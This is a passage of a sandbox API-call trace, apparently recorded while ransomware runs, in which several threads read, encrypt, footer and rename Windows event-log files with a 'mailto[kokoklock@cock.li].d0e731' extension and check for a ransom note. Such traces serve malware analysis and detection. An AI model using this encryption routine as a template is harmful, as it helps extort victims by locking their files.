Size=0x36) returned 0x2f808a0 [0164.430] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.430] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.431] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96520) returned 1 [0164.431] RtlExitUserThread (Status=0x1) Thread: id = 1522 os_tid = 0xea4 [0164.432] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.432] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.432] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.432] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x68efaa8 | out: lpFileSize=0x68efaa8*=69824) returned 1 [0164.432] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.432] ReadFile (in: hFile=0x4a0, lpBuffer=0x68efa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x68efa7c*, lpNumberOfBytesRead=0x68efa78*=0x4, lpOverlapped=0x0) returned 1 [0164.446] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9f0 [0164.446] NtQuerySystemTime (in: CurrentTime=0x68efa54 | out: CurrentTime=0x68efa54*=132121213217559246) returned 0x0 [0164.446] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x46bd1a4f [0164.446] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x14528e02 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xa9310b94 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x78714977 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xdd961891 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x27f9a1af [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x99a50b1d [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x699468e1 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x9a63acf1 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xc3f2fa47 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x6fc93e23 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x4de1ac7a [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x9b518186 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x8c020315 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x9f721f98 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x93774fe9 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xf118ff86 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x2c501d73 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xee6c8954 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x956bd76d [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x855fe65c [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xfb6dd233 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x616c8156 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x3cf916b [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x3f80f1e1 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x66d2064f [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x4317b111 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x9263742b [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0xe711cb5e [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x4ee3b3f7 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x1f945744 [0164.447] RtlRandom (in: Seed=0x68efa60 | out: Seed=0x68efa60) returned 0x7cfa5ec9 [0164.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.459] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.459] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.459] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.459] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.459] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.459] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.459] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x68efa2c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x68efa2c*=0x4096, lpOverlapped=0x0) returned 1 [0164.460] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.460] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.460] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.460] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.460] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.460] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.461] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.461] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.461] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.461] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.461] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.461] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x68efa2c, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x68efa2c*=0x4096, lpOverlapped=0x0) returned 1 [0164.461] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.461] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.461] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x68efa64, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x68efa64*=0x20, lpOverlapped=0x0) returned 1 [0164.462] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.462] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6f8*, lpNumberOfBytesWritten=0x68efa78*=0x8, lpOverlapped=0x0) returned 1 [0164.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x68efa90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x68efa90*, lpNumberOfBytesWritten=0x68efa78*=0x4, lpOverlapped=0x0) returned 1 [0164.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x68efa78*=0x4, lpOverlapped=0x0) returned 1 [0164.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x68efa78*=0x6c, lpOverlapped=0x0) returned 1 [0164.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x68efa78*=0x20, lpOverlapped=0x0) returned 1 [0164.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x68efa78, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x68efa78*=0x4, lpOverlapped=0x0) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.463] CloseHandle (hObject=0x4a0) returned 1 [0164.463] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85918 [0164.463] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.463] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.463] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.464] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.464] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.464] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.464] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0164.464] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.464] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.464] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.464] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.464] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965e0) returned 1 [0164.464] RtlExitUserThread (Status=0x1) Thread: id = 1523 os_tid = 0xea8 [0164.467] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.467] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.467] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x696fa50 | out: lpFileSize=0x696fa50*=69824) returned 1 [0164.467] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.467] ReadFile (in: hFile=0x4a0, lpBuffer=0x696fa24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x696fa24*, lpNumberOfBytesRead=0x696fa20*=0x4, lpOverlapped=0x0) returned 1 [0164.468] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.468] NtQuerySystemTime (in: CurrentTime=0x696f9fc | out: CurrentTime=0x696f9fc*=132121213217871955) returned 0x0 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x8d6e6a80 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xbe8f093b [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x8efaaff7 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x441bbca8 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xe9e49257 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x7024745f [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xc5c53b98 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xa1e52e6b [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xad7da861 [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x9650873c [0164.468] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x3c932748 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x3cfb0254 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x89f266a7 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x78f4a9a7 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xffff9f5e [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x5fc282c [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xea324783 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xf5ba0df7 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x849b6ec7 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x4543711a [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xeabde761 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xd4ca0ddb [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xe523a485 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xe7c4ee5c [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x5f37afd [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xf3c19a1f [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x3272e90d [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x5ea53d9c [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x1050629 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xe9788691 [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0xaece39ac [0164.469] RtlRandom (in: Seed=0x696fa08 | out: Seed=0x696fa08) returned 0x57a81d6a [0164.477] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.479] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.479] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.479] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.479] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x696f9d4, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x696f9d4*=0x4096, lpOverlapped=0x0) returned 1 [0164.480] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.480] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.481] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.481] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.481] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a748 [0164.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a748) returned 1 [0164.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.481] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x696f9d4, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x696f9d4*=0x4096, lpOverlapped=0x0) returned 1 [0164.482] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.482] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.482] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x696fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x696fa0c*=0x20, lpOverlapped=0x0) returned 1 [0164.482] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.482] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.482] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6f8*, lpNumberOfBytesWritten=0x696fa20*=0x8, lpOverlapped=0x0) returned 1 [0164.482] WriteFile (in: hFile=0x4a0, lpBuffer=0x696fa38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x696fa38*, lpNumberOfBytesWritten=0x696fa20*=0x4, lpOverlapped=0x0) returned 1 [0164.482] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x696fa20*=0x4, lpOverlapped=0x0) returned 1 [0164.482] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x696fa20*=0x6c, lpOverlapped=0x0) returned 1 [0164.482] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x696fa20*=0x20, lpOverlapped=0x0) returned 1 [0164.483] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x696fa20, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x696fa20*=0x4, lpOverlapped=0x0) returned 1 [0164.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.483] CloseHandle (hObject=0x4a0) returned 1 [0164.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x114) returned 0x2f6ab60 [0164.483] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.483] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.483] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.484] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.484] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.484] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.484] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.484] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97138) returned 1 [0164.484] RtlExitUserThread (Status=0x1) Thread: id = 1524 